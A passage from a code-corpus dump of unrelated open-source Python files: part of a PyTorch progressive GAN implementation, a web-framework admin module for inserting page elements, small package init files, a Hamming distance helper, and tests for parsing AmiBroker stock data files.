self.fromRGB(self.feature_size) self.layers.append(layer) self.rgb_to_features.append(rgb) # register the temporary downSampler self.temporaryDownsampler = AvgPool2d(2) def forward(self, x, latent_vector, height, alpha): """ forward pass of the discriminator :param x: input to the network :param latent_vector: latent vector required for conditional discrimination :param height: current height of operation (Progressive GAN) :param alpha: current value of alpha for fade-in :return: out => raw prediction values """ assert height < self.height, "Requested output depth cannot be produced" if height > 0: residual = self.rgb_to_features[height - 1](self.temporaryDownsampler(x)) straight = self.layers[height - 1]( self.rgb_to_features[height](x) ) y = (alpha * straight) + ((1 - alpha) * residual) for block in reversed(self.layers[:height - 1]): y = block(y) else: y = self.rgb_to_features[0](x) out = self.final_block(y, latent_vector) return out class ProGAN: """ Wrapper around the Generator and the Discriminator """ def __init__(self, depth=7, latent_size=512, learning_rate=0.001, beta_1=0, beta_2=0.99, eps=1e-8, drift=0.001, n_critic=1, use_eql=True, loss="wgan-gp", use_ema=True, ema_decay=0.999, device=th.device("cuda")): """ constructor for the class :param depth: depth of the GAN (will be used for each generator and discriminator) :param latent_size: latent size of the manifold used by the GAN :param learning_rate: learning rate for Adam :param beta_1: beta_1 for Adam :param beta_2: beta_2 for Adam :param eps: epsilon for Adam :param n_critic: number of times to update discriminator (Used only if loss is wgan or wgan-gp) :param drift: drift penalty for the (Used only if loss is wgan or wgan-gp) :param use_eql: whether to use equalized learning rate :param loss: the loss function to be used Can either be a string => ["wgan-gp", "wgan", "lsgan", "lsgan-with-sigmoid"] Or an instance of GANLoss :param use_ema: boolean for whether to use exponential moving averages :param ema_decay: value of mu for ema :param device: device to run the GAN on (GPU / CPU) """ from torch.optim import Adam # Create the Generator and the Discriminator self.gen = Generator(depth, latent_size, use_eql=use_eql).to(device) self.dis = Discriminator(depth, latent_size, use_eql=use_eql).to(device) # state of the object self.latent_size = latent_size self.depth = depth self.use_ema = use_ema self.ema_decay = ema_decay self.n_critic = n_critic self.use_eql = use_eql self.device = device self.drift = drift # define the optimizers for the discriminator and generator self.gen_optim = Adam(self.gen.parameters(), lr=learning_rate, betas=(beta_1, beta_2), eps=eps) self.dis_optim = Adam(self.dis.parameters(), lr=learning_rate, betas=(beta_1, beta_2), eps=eps) # define the loss function used for training the GAN self.loss = self.__setup_loss(loss) # setup the ema for the generator if self.use_ema: from networks.CustomLayers import EMA self.ema = EMA(self.ema_decay) self.__register_generator_to_ema() def __register_generator_to_ema(self): for name, param in self.gen.named_parameters(): if param.requires_grad: self.ema.register(name, param.data) def __apply_ema_on_generator(self): for name, param in self.gen.named_parameters(): if param.requires_grad: param.data = self.ema(name, param.data) def __setup_loss(self, loss): import networks.Losses as losses if isinstance(loss, str): loss = loss.lower() # lowercase the string if loss == "wgan": loss = losses.WGAN_GP(self.device, self.dis, self.drift, use_gp=False) # note if you use just wgan, you will have to use weight clipping # in order to prevent gradient exploding elif loss == "wgan-gp": loss = losses.WGAN_GP(self.device, self.dis, self.drift, use_gp=True) elif loss == "lsgan": loss = losses.LSGAN(self.device, self.dis) elif loss == "lsgan-with-sigmoid": loss = losses.LSGAN_SIGMOID(self.device, self.dis) else: raise ValueError("Unknown loss function requested") elif not isinstance(loss, losses.GANLoss): raise ValueError("loss is neither an instance of GANLoss nor a string") return loss def optimize_discriminator(self, noise, real_batch, depth, alpha): """ performs one step of weight update on discriminator using the batch of data :param noise: input noise of sample generation :param real_batch: real samples batch :param depth: current depth of optimization :param alpha: current alpha for fade-in :return: current loss (Wasserstein loss) """ from torch.nn import AvgPool2d from torch.nn.functional import upsample # downsample the real_batch for the given depth down_sample_factor = int(np.power(2, self.depth - depth - 1)) prior_downsample_factor = max(int(np.power(2, self.depth - depth)), 0) ds_real_samples = AvgPool2d(down_sample_factor)(real_batch) if depth > 0: prior_ds_real_samples = upsample(AvgPool2d(prior_downsample_factor)(real_batch), scale_factor=2) else: prior_ds_real_samples = ds_real_samples # real samples are a combination of ds_real_samples and prior_ds_real_samples real_samples = (alpha * ds_real_samples) + ((1 - alpha) * prior_ds_real_samples) loss_val = 0 for _ in range(self.n_critic): # generate a batch of samples fake_samples = self.gen(noise, depth, alpha).detach() loss = self.loss.dis_loss(real_samples, fake_samples, depth, alpha) # optimize discriminator self.dis_optim.zero_grad() loss.backward() self.dis_optim.step() loss_val += loss.item() return loss_val / self.n_critic def optimize_generator(self, noise, depth, alpha): """ performs one step of weight update on generator for the given batch_size :param noise: input random noise required for generating samples :param depth: depth of the network at which optimization is done :param alpha: value of alpha for fade-in effect :return: current loss (Wasserstein estimate) """ # generate fake samples: fake_samples = self.gen(noise, depth, alpha) # TODO: Change this implementation for making it compatible for relativisticGAN loss = self.loss.gen_loss(None, fake_samples, depth, alpha) # optimize the generator self.gen_optim.zero_grad() loss.backward() self.gen_optim.step() # if use_ema is true, apply ema to the generator parameters if self.use_ema: self.__apply_ema_on_generator() # return the loss value return loss.item() class ConditionalProGAN: """ Wrapper around the Generator and the Discriminator """ def __init__(self, embedding_size, depth=7, latent_size=512, compressed_latent_size=128, learning_rate=0.001, beta_1=0, beta_2=0.99, eps=1e-8, drift=0.001, n_critic=1, use_eql=True, loss="wgan-gp", use_ema=True, ema_decay=0.999, device=th.device("cuda")): """ constructor for the class :param embedding_size: size of the encoded text embeddings :param depth: depth of the GAN (will be used for each generator and discriminator) :param latent_size: latent size of the manifold used by the GAN :param compressed_latent_size: size of the compressed latent vectors :param learning_rate: learning rate for Adam :param beta_1: beta_1 for Adam :param beta_2: beta_2 for Adam :param eps: epsilon for Adam :param n_critic: number of times to update discriminator (Used only if loss is wgan or wgan-gp) :param drift: drift penalty for the (Used only if loss is wgan or wgan-gp) :param use_eql: whether to use equalized learning rate :param loss: the loss function to be used Can either be a string => ["wgan-gp", "wgan"] Or an instance of GANLoss :param use_ema: boolean for whether to use exponential moving averages :param ema_decay: value of mu for ema :param device: device to run the GAN on (GPU / CPU) """ from torch.optim import Adam # Create the Generator and the Discriminator self.gen = Generator(depth, latent_size, use_eql=use_eql).to(device) self.dis = ConditionalDiscriminator(depth, embedding_size, compressed_latent_size, use_eql=use_eql).to(device) # state of the object self.latent_size = latent_size self.compressed_latent_size = compressed_latent_size self.depth = depth self.use_ema = use_ema self.ema_decay = ema_decay self.n_critic = n_critic self.use_eql = use_eql self.device = device self.drift = drift # define the optimizers for the discriminator and generator self.gen_optim = Adam(self.gen.parameters(), lr=learning_rate, betas=(beta_1, beta_2), eps=eps) self.dis_optim = Adam(self.dis.parameters(), lr=learning_rate, betas=(beta_1, beta_2), eps=eps) # define the loss function used for training the GAN self.loss = self.__setup_loss(loss) # setup the ema for the generator if self.use_ema: from networks.CustomLayers import EMA self.ema = EMA(self.ema_decay) self.__register_generator_to_ema() def __register_generator_to_ema(self): for name, param in self.gen.named_parameters(): if param.requires_grad: self.ema.register(name, param.data) def __apply_ema_on_generator(self): for name, param in self.gen.named_parameters(): if param.requires_grad: param.data = self.ema(name, param.data) def __setup_loss(self, loss): import networks.Losses as losses if isinstance(loss, str): loss = loss.lower() # lowercase the string if loss == "wgan": loss = losses.CondWGAN_GP(self.device, self.dis, self.drift, use_gp=False) # note if you use just wgan, you will have to use weight clipping # in order to prevent gradient exploding elif loss == "wgan-gp": loss = losses.CondWGAN_GP(self.device, self.dis, self.drift, use_gp=True) else: raise ValueError("Unknown loss function requested") elif not isinstance(loss, losses.ConditionalGANLoss): raise ValueError("loss is neither an instance of GANLoss nor a string") return loss def optimize_discriminator(self, noise, real_batch, latent_vector, depth, alpha, use_matching_aware=True): """ performs one step of weight update on discriminator using the batch of data :param noise: input noise of sample generation :param real_batch: real samples batch :param latent_vector: (conditional latent vector) :param depth: current depth of optimization :param alpha: current alpha for fade-in :param use_matching_aware: whether to use matching aware discrimination :return: current loss (Wasserstein loss) """ from torch.nn import AvgPool2d from torch.nn.functional import upsample # downsample the real_batch for the given depth down_sample_factor = int(np.power(2, self.depth - depth - 1)) prior_downsample_factor = max(int(np.power(2, self.depth - depth)), 0) ds_real_samples = AvgPool2d(down_sample_factor)(real_batch) if depth > 0: prior_ds_real_samples = upsample(AvgPool2d(prior_downsample_factor)(real_batch), scale_factor=2) else: prior_ds_real_samples = ds_real_samples # real samples are a combination of ds_real_samples and prior_ds_real_samples real_samples = (alpha * ds_real_samples) + ((1 - alpha) * prior_ds_real_samples) loss_val = 0 for _ in range(self.n_critic): # generate a batch of samples fake_samples = self.gen(noise, depth, alpha).detach() loss = self.loss.dis_loss(real_samples, fake_samples, latent_vector, depth, alpha) if use_matching_aware: # calculate the matching aware distribution loss mis_match_text = latent_vector[np.random.permutation(latent_vector.shape[0]), :] m_a_d = self.dis(real_samples, mis_match_text, depth, alpha) loss = loss + th.mean(m_a_d) # optimize discriminator self.dis_optim.zero_grad() loss.backward() self.dis_optim.step() loss_val += loss.item() return loss_val / self.n_critic def optimize_generator(self, noise, latent_vector, depth, alpha): """ performs one step of weight update on generator for the given batch_size :param noise: input random noise required for generating samples :param latent_vector: (conditional latent vector) :param depth: depth of the network at which optimization is done :param alpha: value of alpha for fade-in effect :return: current loss (Wasserstein estimate) """ # generate fake samples: fake_samples = self.gen(noise, depth, alpha) # TODO: Change this implementation for making it compatible for relativisticGAN loss = self.loss.gen_loss(None, fake_samples, latent_vector, depth, alpha) # optimize the generator self.gen_optim.zero_grad() loss.backward(retain_graph=True) self.gen_optim.step() # if use_ema is true, apply ema to the generator parameters if self.use_ema: self.__apply_ema_on_generator() # return the loss value return loss.item()

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ac32e225a7b20e42f721559cc28621664c4e0fa7

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Python

skipole/skiadmin/skiadminpackages/editwidgets/inserts.py

bernie-skipole/skipole

b45d3291c593e7c03c053ab4f192f1ecc5c3e9b9

[ "MIT" ]

null

skipole/skiadmin/skiadminpackages/editwidgets/inserts.py

bernie-skipole/skipole

b45d3291c593e7c03c053ab4f192f1ecc5c3e9b9

[ "MIT" ]

null

skipole/skiadmin/skiadminpackages/editwidgets/inserts.py

bernie-skipole/skipole

b45d3291c593e7c03c053ab4f192f1ecc5c3e9b9

[ "MIT" ]

null

from ... import FailPage, ValidateError, GoTo, ServerError, skilift from ....skilift import editpage, editsection from ....ski.project_class_definition import SectionData def show_empty_modal_insert(skicall): "Fills in empty modal insert" call_data = skicall.call_data pd = call_data['pagedata'] sd = SectionData("widgetinserts") sd["insertitem", "hide"] = False location = call_data['location'] widget_name = location[0] container = location[1] # This should be for an empty container if location[2]: raise FailPage("Invalid location") insert_location = widget_name + "-" + str(container) # for each of the links, set get_field1 to be the insert_location sd["insert_text","get_field1"] = insert_location sd["insert_textblock","get_field1"] = insert_location sd["insert_symbol","get_field1"] = insert_location sd["insert_comment","get_field1"] = insert_location sd["insert_element","get_field1"] = insert_location sd["insert_widget","get_field1"] = insert_location sd["insert_section","get_field1"] = insert_location # set the hidden field sd["uploadpart","hidden_field1"] = insert_location pd.update(sd) def insert_in_widget(skicall): """Called by domtable to either insert or append an item in a widget container sets PageData object to populate the insert or append modal panel""" call_data = skicall.call_data pd = call_data['pagedata'] sd = SectionData("widgetinserts") pagenumber = None section_name = None if "page_number" in call_data: pagenumber = call_data["page_number"] elif "section_name" in call_data: section_name = call_data["section_name"] else: raise FailPage(message = "No page or section given") if ('editdom', 'domtable', 'contents') not in call_data: raise FailPage(message = "item to edit missing") editedprojname = call_data['editedprojname'] part = call_data['editdom', 'domtable', 'contents'] # so part is location_string with string of integers # where first string is the widget name, # and first digit is the container number # create location which is a tuple or list consisting of three items: # widget name # a container integer # a tuple or list of location integers location_list = part.split('-') # first item should be a string, rest integers # first item should be a string, rest integers if len(location_list) < 3: raise FailPage("Item to append to has not been recognised") try: widget_name = location_list[0] container = int(location_list[1]) location_integers = tuple( int(i) for i in location_list[2:] ) except: raise FailPage("Item to append to has not been recognised") location = (widget_name, container, location_integers) # get part_tuple from project, pagenumber, section_name, location part_tuple = skilift.part_info(editedprojname, pagenumber, section_name, location) if part_tuple is None: raise FailPage("Item to append to has not been recognised") insert_location = widget_name + '-' + str(container) + '-' + '-'.join(str(i) for i in location_integers) # display the modal panel sd["insertitem","hide"] = False if (part_tuple.part_type == "Part") or (part_tuple.part_type == "Section"): # insert sd["insertpara","para_text"] = "Choose an item to insert" sd["insertupload","para_text"] = "Or insert a new block by uploading a block definition file:" else: # append sd["insertpara","para_text"] = "Choose an item to append" sd["insertupload","para_text"] = "Or append a new block by uploading a block definition file:" # for each of the links, set get_field1 to be the insert_location sd["insert_text","get_field1"] = insert_location sd["insert_textblock","get_field1"] = insert_location sd["insert_symbol","get_field1"] = insert_location sd["insert_comment","get_field1"] = insert_location sd["insert_element","get_field1"] = insert_location sd["insert_widget","get_field1"] = insert_location if pagenumber: sd["insert_section","get_field1"] = insert_location # set the hidden field sd["uploadpart","hidden_field1"] = insert_location pd.update(sd) def insert_text(skicall): "Inserts text into a page" call_data = skicall.call_data pd = call_data['pagedata'] sd = SectionData("adminhead") pagenumber = None section_name = None editedprojname = call_data['editedprojname'] if "page_number" in call_data: pagenumber = call_data["page_number"] page_info = skilift.item_info(editedprojname, pagenumber) if page_info is None: raise FailPage("Page to edit not identified") if (page_info.item_type != "TemplatePage") and (page_info.item_type != "SVG"): raise FailPage("Page not identified") elif "section_name" in call_data: section_name = call_data["section_name"] else: raise FailPage(message = "No page or section given") if ("widgetinserts","insert_text","get_field1") not in call_data: raise FailPage(message = "item to edit missing") part = call_data["widgetinserts","insert_text","get_field1"] location_list = part.split('-') # first item should be a string, rest integers try: widget_name = location_list[0] container = int(location_list[1]) if len(location_list) < 3: location_integers = () else: location_integers = tuple( int(i) for i in location_list[2:] ) except: raise FailPage("Item to append to has not been recognised") location = (widget_name, container, location_integers) # get part_tuple from project, pagenumber, section_name, location part_tuple = skilift.part_info(editedprojname, pagenumber, section_name, location) if part_tuple is None: raise FailPage("Item to append to has not been recognised") new_text = 'Set text here' if pagenumber: call_data['pchange'], new_location = skilift.insert_item_in_page(editedprojname, pagenumber, call_data['pchange'], location, new_text) sd["page_head","large_text"] = "Edit Text in Page: %s Widget: %s" % (pagenumber,widget_name) else: call_data['schange'], new_location = skilift.insert_item_in_section(editedprojname, section_name, call_data['schange'], location, new_text) sd["page_head","large_text"] = "Edit Text in Section : %s Widget %s" % (section_name,widget_name) pd.update(sd) call_data['location'] = new_location # go to edit text page, set the text in the text area pd["text_input","input_text"] = new_text def insert_textblock(skicall): "Fills the template page for creating a textblock reference which will be inserted in the edited page" call_data = skicall.call_data pd = call_data['pagedata'] sd = SectionData("adminhead") pagenumber = None section_name = None editedprojname = call_data['editedprojname'] if "page_number" in call_data: pagenumber = call_data["page_number"] page_info = skilift.item_info(editedprojname, pagenumber) if page_info is None: raise FailPage("Page to edit not identified") if (page_info.item_type != "TemplatePage") and (page_info.item_type != "SVG"): raise FailPage("Page not identified") elif "section_name" in call_data: section_name = call_data["section_name"] else: raise FailPage(message = "No page or section given") if ("widgetinserts","insert_textblock","get_field1") not in call_data: raise FailPage(message = "item to edit missing") part = call_data["widgetinserts","insert_textblock","get_field1"] location_list = part.split('-') # first item should be a string, rest integers try: widget_name = location_list[0] container = int(location_list[1]) if len(location_list) < 3: location_integers = () else: location_integers = tuple( int(i) for i in location_list[2:] ) except: raise FailPage("Item to append to has not been recognised") location = (widget_name, container, location_integers) # get part_tuple from project, pagenumber, section_name, location part_tuple = skilift.part_info(editedprojname, pagenumber, section_name, location) if part_tuple is None: raise FailPage("Item to append to has not been recognised") call_data['location'] = location # and set page data for the template page which inserts an textblock reference if pagenumber: sd["page_head","large_text"] = "Insert TextBlock in Page: %s Widget: %s" % (pagenumber, widget_name) else: sd["page_head","large_text"] = "Insert TextBlock in Section: %s Widget: %s" % (section_name, widget_name) pd.update(sd) pd["linebreaks","radio_values"]=['ON', 'OFF'] pd["linebreaks","radio_text"]=['On', 'Off'] pd["linebreaks","radio_checked"] = 'ON' pd["setescape","radio_values"]=['ON', 'OFF'] pd["setescape","radio_text"]=['On', 'Off'] pd["setescape","radio_checked"] = 'ON' def insert_symbol(skicall): "Inserts html symbol into a page" call_data = skicall.call_data pd = call_data['pagedata'] sd = SectionData("adminhead") pagenumber = None section_name = None editedprojname = call_data['editedprojname'] if "page_number" in call_data: pagenumber = call_data["page_number"] page_info = skilift.item_info(editedprojname, pagenumber) if page_info is None: raise FailPage("Page to edit not identified") if (page_info.item_type != "TemplatePage") and (page_info.item_type != "SVG"): raise FailPage("Page not identified") elif "section_name" in call_data: section_name = call_data["section_name"] else: raise FailPage(message = "No page or section given") if ("widgetinserts","insert_symbol","get_field1") not in call_data: raise FailPage(message = "item to edit missing") part = call_data["widgetinserts","insert_symbol","get_field1"] location_list = part.split('-') # first item should be a string, rest integers try: widget_name = location_list[0] container = int(location_list[1]) if len(location_list) < 3: location_integers = () else: location_integers = tuple( int(i) for i in location_list[2:] ) except: raise FailPage("Item to append to has not been recognised") location = (widget_name, container, location_integers) # get part_tuple from project, pagenumber, section_name, location part_tuple = skilift.part_info(editedprojname, pagenumber, section_name, location) if part_tuple is None: raise FailPage("Item to append to has not been recognised") # then passed to edit symbol page if pagenumber: call_data['pchange'], new_location = editpage.create_html_symbol_in_page(editedprojname, pagenumber, call_data['pchange'], location) sym = editpage.get_symbol(editedprojname, pagenumber, call_data['pchange'], new_location) sd["page_head","large_text"] = "Edit Symbol in Page: %s Widget: %s" % (pagenumber, widget_name) else: call_data['schange'], new_location = editsection.create_html_symbol_in_section(editedprojname, section_name, call_data['schange'], location) sym = editsection.get_symbol(editedprojname, section_name, call_data['schange'], new_location) sd["page_head","large_text"] = "Edit Symbol in Section: %s Widget: %s" % (section_name, widget_name) pd.update(sd) call_data['location'] = new_location pd["symbol_input","input_text"] = sym def insert_comment(skicall): "Inserts a comment into a page" call_data = skicall.call_data pd = call_data['pagedata'] sd = SectionData("adminhead") pagenumber = None section_name = None editedprojname = call_data['editedprojname'] if "page_number" in call_data: pagenumber = call_data["page_number"] page_info = skilift.item_info(editedprojname, pagenumber) if page_info is None: raise FailPage("Page to edit not identified") if (page_info.item_type != "TemplatePage") and (page_info.item_type != "SVG"): raise FailPage("Page not identified") elif "section_name" in call_data: section_name = call_data["section_name"] else: raise FailPage(message = "No page or section given") if ("widgetinserts","insert_comment","get_field1") not in call_data: raise FailPage(message = "item to edit missing") part = call_data["widgetinserts","insert_comment","get_field1"] location_list = part.split('-') # first item should be a string, rest integers try: widget_name = location_list[0] container = int(location_list[1]) if len(location_list) < 3: location_integers = () else: location_integers = tuple( int(i) for i in location_list[2:] ) except: raise FailPage("Item to append to has not been recognised") location = (widget_name, container, location_integers) # get part_tuple from project, pagenumber, section_name, location part_tuple = skilift.part_info(editedprojname, pagenumber, section_name, location) if part_tuple is None: raise FailPage("Item to append to has not been recognised") # then passed to edit symbol page if pagenumber: call_data['pchange'], new_location = editpage.create_html_comment_in_page(editedprojname, pagenumber, call_data['pchange'], location) com = editpage.get_comment(editedprojname, pagenumber, call_data['pchange'], new_location) sd["page_head","large_text"] = "Edit Comment in Page: %s Widget: %s" % (pagenumber, widget_name) else: call_data['schange'], new_location = editsection.create_html_comment_in_section(editedprojname, section_name, call_data['schange'], location) com = editsection.get_comment(editedprojname, section_name, call_data['schange'], new_location) sd["page_head","large_text"] = "Edit Comment in Section: %s Widget: %s" % (section_name, widget_name) pd.update(sd) call_data['location'] = new_location pd["comment_input","input_text"] = com def insert_element(skicall): "Fills the template page for creating an html element which will be inserted in the edited page" call_data = skicall.call_data pd = call_data['pagedata'] sd = SectionData("adminhead") pagenumber = None section_name = None editedprojname = call_data['editedprojname'] if "page_number" in call_data: pagenumber = call_data["page_number"] page_info = skilift.item_info(editedprojname, pagenumber) if page_info is None: raise FailPage("Page to edit not identified") if (page_info.item_type != "TemplatePage") and (page_info.item_type != "SVG"): raise FailPage("Page not identified") elif "section_name" in call_data: section_name = call_data["section_name"] else: raise FailPage(message = "No page or section given") if ("widgetinserts","insert_element","get_field1") not in call_data: raise FailPage(message = "item to edit missing") part = call_data["widgetinserts","insert_element","get_field1"] location_list = part.split('-') # first item should be a string, rest integers try: widget_name = location_list[0] container = int(location_list[1]) if len(location_list) < 3: location_integers = () else: location_integers = tuple( int(i) for i in location_list[2:] ) except: raise FailPage("Item to append to has not been recognised") location = (widget_name, container, location_integers) # get part_tuple from project, pagenumber, section_name, location part_tuple = skilift.part_info(editedprojname, pagenumber, section_name, location) if part_tuple is None: raise FailPage("Item to append to has not been recognised") call_data['location'] = location # and set page data for the template page which inserts an HTML element if pagenumber: sd["page_head","large_text"] = "Insert an HTML element into Page: %s Widget: %s" % (pagenumber, widget_name) else: sd["page_head","large_text"] = "Insert an HTML element into Section: %s Widget: %s" % (section_name, widget_name) pd.update(sd) def insert_widget(skicall): "Gets page number and location, used for creating a widget which will be inserted in the page" call_data = skicall.call_data pagenumber = None section_name = None editedprojname = call_data['editedprojname'] if "page_number" in call_data: pagenumber = call_data["page_number"] page_info = skilift.item_info(editedprojname, pagenumber) if page_info is None: raise FailPage("Page to edit not identified") if (page_info.item_type != "TemplatePage") and (page_info.item_type != "SVG"): raise FailPage("Page not identified") elif "section_name" in call_data: section_name = call_data["section_name"] else: raise FailPage(message = "No page or section given") if ("widgetinserts","insert_widget","get_field1") not in call_data: raise FailPage(message = "item to edit missing") part = call_data["widgetinserts","insert_widget","get_field1"] location_list = part.split('-') # first item should be a string, rest integers try: widget_name = location_list[0] container = int(location_list[1]) if len(location_list) < 3: location_integers = () else: location_integers = tuple( int(i) for i in location_list[2:] ) except: raise FailPage("Item to append to has not been recognised") location = (widget_name, container, location_integers) # get part_tuple from project, pagenumber, section_name, location part_tuple = skilift.part_info(editedprojname, pagenumber, section_name, location) if part_tuple is None: raise FailPage("Item to append to has not been recognised") call_data['location'] = location # at this point, the call is passed to 54507 which is a responder which lists widget modules # and displays them on a template def insert_section(skicall): "Gets page number and location, used for creating a section reference which will be inserted in the page" call_data = skicall.call_data pd = call_data['pagedata'] sd = SectionData("adminhead") pagenumber = None section_name = None editedprojname = call_data['editedprojname'] if "page_number" in call_data: pagenumber = call_data["page_number"] else: raise FailPage(message = "No page given") if ("widgetinserts","insert_section","get_field1") not in call_data: raise FailPage(message = "item to edit missing") page_info = skilift.item_info(editedprojname, pagenumber) if page_info is None: raise FailPage("Page to edit not identified") if (page_info.item_type != "TemplatePage") and (page_info.item_type != "SVG"): raise FailPage("Page not identified") part = call_data["widgetinserts","insert_section","get_field1"] location_list = part.split('-') # first item should be a string, rest integers try: widget_name = location_list[0] container = int(location_list[1]) if len(location_list) < 3: location_integers = () else: location_integers = tuple( int(i) for i in location_list[2:] ) except: raise FailPage("Item to append to has not been recognised") location = (widget_name, container, location_integers) # get part_tuple from project, pagenumber, section_name, location part_tuple = skilift.part_info(editedprojname, pagenumber, None, location) if part_tuple is None: raise FailPage("Item to append to has not been recognised") call_data['location'] = location # Fill in header sd["page_head","large_text"] = "Insert Section place holder" pd.update(sd) # get current sections section_list = editsection.list_section_names(editedprojname) if not section_list: pd["nosection", "show"] = True pd["descript", "show"] = False pd["placename","show"] = False return pd['sectionname','option_list'] = section_list[:] pd['sectionname','selectvalue'] = section_list[0] def insert_upload(skicall): "Gets page number and location, used for creating a widget which will be inserted in the page" call_data = skicall.call_data pagenumber = None section_name = None editedprojname = call_data['editedprojname'] if "page_number" in call_data: pagenumber = call_data["page_number"] page_info = skilift.item_info(editedprojname, pagenumber) if page_info is None: raise FailPage("Page to edit not identified") if (page_info.item_type != "TemplatePage") and (page_info.item_type != "SVG"): raise FailPage("Page not identified") elif "section_name" in call_data: section_name = call_data["section_name"] else: raise FailPage(message = "No page or section given") if ("widgetinserts","uploadpart","hidden_field1") not in call_data: raise FailPage(message = "item to edit missing") part = call_data["widgetinserts","uploadpart","hidden_field1"] location_list = part.split('-') # first item should be a string, rest integers try: widget_name = location_list[0] container = int(location_list[1]) if len(location_list) < 3: location_integers = () else: location_integers = tuple( int(i) for i in location_list[2:] ) except: raise FailPage("Item to append to has not been recognised") location = (widget_name, container, location_integers) # get part_tuple from project, pagenumber, section_name, location part_tuple = skilift.part_info(editedprojname, pagenumber, section_name, location) if part_tuple is None: raise FailPage("Item to append to has not been recognised") # get file contents file_contents = call_data["widgetinserts","uploadpart", "action"] json_string = file_contents.decode(encoding='utf-8') try: if pagenumber: call_data['pchange'] = editpage.create_part_in_page(editedprojname, pagenumber, call_data['pchange'], location, json_string) else: call_data['schange'] = editsection.create_part_in_section(editedprojname, section_name, call_data['schange'], location, json_string) except ServerError as e: if e.message: raise FailPage(e.message) else: raise FailPage("An error has occurred in creating the item") call_data['widget_name'] = widget_name call_data['container'] = container call_data['status'] = 'New block created'

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ac69c7aa8ebd71ef086ea2e0cacf4c3fa1cd1086

114

py

Python

sumo_docker_pipeline/operation_module/__init__.py

Kensuke-Mitsuzawa/sumo_docker_pipeline

b16c7e0da4938bf813f2af2ed667887b4f9a6298

[ "MIT" ]

null

sumo_docker_pipeline/operation_module/__init__.py

Kensuke-Mitsuzawa/sumo_docker_pipeline

b16c7e0da4938bf813f2af2ed667887b4f9a6298

[ "MIT" ]

14

2021-05-23T14:16:21.000Z

2021-12-05T21:59:56.000Z

sumo_docker_pipeline/operation_module/__init__.py

Kensuke-Mitsuzawa/sumo_docker_pipeline

b16c7e0da4938bf813f2af2ed667887b4f9a6298

[ "MIT" ]

1

2021-12-31T15:10:20.000Z

from .docker_operation_module import SumoDockerController from .local_operation_module import LocalSumoController

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ac835e1013519f195f4915f2072e63eff2a69922

130

py

Python

molsysmt/element/group/terminal_capping/__init__.py

uibcdf/MolModMTs

4f6b6f671a9fa3e73008d1e9c48686d5f20a6573

[ "MIT" ]

null

molsysmt/element/group/terminal_capping/__init__.py

uibcdf/MolModMTs

4f6b6f671a9fa3e73008d1e9c48686d5f20a6573

[ "MIT" ]

null

molsysmt/element/group/terminal_capping/__init__.py

uibcdf/MolModMTs

4f6b6f671a9fa3e73008d1e9c48686d5f20a6573

[ "MIT" ]

null

from .names import n_terminal_capping_names, c_terminal_capping_names, names from .is_terminal_capping import is_terminal_capping

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3bb19dd4e1d237af6ee822505fe85d14bbdc5314

163

py

Python

debarcer/src/edit_distance.py

bgfritz1/debarcer_tobias

5c99abcee72f4605610473da0a56632d4fe824d3

[ "MIT" ]

null

debarcer/src/edit_distance.py

bgfritz1/debarcer_tobias

5c99abcee72f4605610473da0a56632d4fe824d3

[ "MIT" ]

null

debarcer/src/edit_distance.py

bgfritz1/debarcer_tobias

5c99abcee72f4605610473da0a56632d4fe824d3

[ "MIT" ]

null

def edit_distance(a, b): """Returns the Hamming edit distance between two strings.""" return sum(letter_a != letter_b for letter_a, letter_b in zip(a, b))

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py

Python

tests/test_basic_read.py

raaghulr/ami2py

a8ba8e83f91760e8ec6c3337199eef9800a80547

[ "MIT" ]

10

2020-04-30T03:22:57.000Z

2021-09-07T09:33:20.000Z

tests/test_basic_read.py

raaghulr/ami2py

a8ba8e83f91760e8ec6c3337199eef9800a80547

[ "MIT" ]

4

2020-09-17T01:21:53.000Z

2022-03-27T01:49:11.000Z

tests/test_basic_read.py

raaghulr/ami2py

a8ba8e83f91760e8ec6c3337199eef9800a80547

[ "MIT" ]

4

2020-04-07T11:47:05.000Z

2021-12-28T16:17:28.000Z

from ami2py import AmiReader from ami2py.ami_construct import Master, SymbolConstruct,SymbolHeader from ami2py.consts import DATEPACKED, OPEN import time import os from ami2py.ami_symbol_facade import AmiSymbolDataFacade def test_symbol_header(): test_data_folder = os.path.dirname(__file__) header_data_path = os.path.join(test_data_folder, "./HeaderData/3DA.AX") f = open(header_data_path, "rb") binfile = f.read() f.close() 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data_parsed=SymbolHeader.parse(defheader) assert data_parsed["Length"]==600 data_parsed=SymbolHeader.parse(binfile) assert data_parsed["Ex-Dividend Date"]["Year"] == 2000 assert data_parsed["Ex-Dividend Date"]["Day"] == 1 assert data_parsed["Ex-Dividend Date"]["Month"] == 2 assert True def test_load_pandas(): test_data_folder = os.path.dirname(__file__) test_data_file = os.path.join(test_data_folder, "./TestData/s/SPCE") f = open(test_data_file, "rb") binfile = f.read() start = time.perf_counter_ns() data = SymbolConstruct.parse(binfile) stop = time.perf_counter_ns() diff = stop - start assert len(data["Entries"]) == 600 def test_amisymbolfacade(): test_data_folder = os.path.dirname(__file__) test_data_file = os.path.join(test_data_folder, "./TestData/s/SPCE") f = open(test_data_file, "rb") binfile = f.read() facade = AmiSymbolDataFacade(binfile) assert facade.length == 600 test = facade[-1] sliced = facade[-1 : facade.length - 21 : -1] assert len(sliced) == 20 sliced = facade[-1:-21:-1] assert len(sliced) == 20 def test_add_to_amisymbolfacade(): test_data_folder = os.path.dirname(__file__) test_data_file = os.path.join(test_data_folder, "./TestData/s/SPCE") f = open(test_data_file, "rb") binfile = f.read() facade = AmiSymbolDataFacade(binfile) assert facade.length == 600 test = facade[-1] facade += test assert facade.length == 601 assert facade[-1]["Day"] == facade[-2]["Day"] assert facade[-1]["Year"] == facade[-2]["Year"] assert facade[-1]["Month"] == facade[-2]["Month"] assert facade[-1]["Close"] == facade[-2]["Close"] assert facade[-1]["Open"] == facade[-2]["Open"] assert facade[-1]["High"] == facade[-2]["High"] assert facade[-1]["Low"] == facade[-2]["Low"] assert facade[-1]["Volume"] == facade[-2]["Volume"] assert facade[-1]["AUX1"] == facade[-2]["AUX1"] assert facade[-1]["AUX2"] == facade[-2]["AUX2"] def test_amistruct_master(master_data): parsed = Master.parse(master_data) assert parsed["NumSymbols"] == 5618 assert parsed["Symbols"][0]["Symbol"] == "A" assert parsed["Symbols"][1]["Symbol"] == "AA" def test_write_master(master_data): parsed = Master.parse(master_data) parsed["Symbols"][0]["Symbol"] = "JD" newbin = Master.build(parsed) newparsed = Master.parse(newbin) assert newparsed["Symbols"][0]["Symbol"] == "JD" def test_read_symbol_construct(symbol_spce): space = 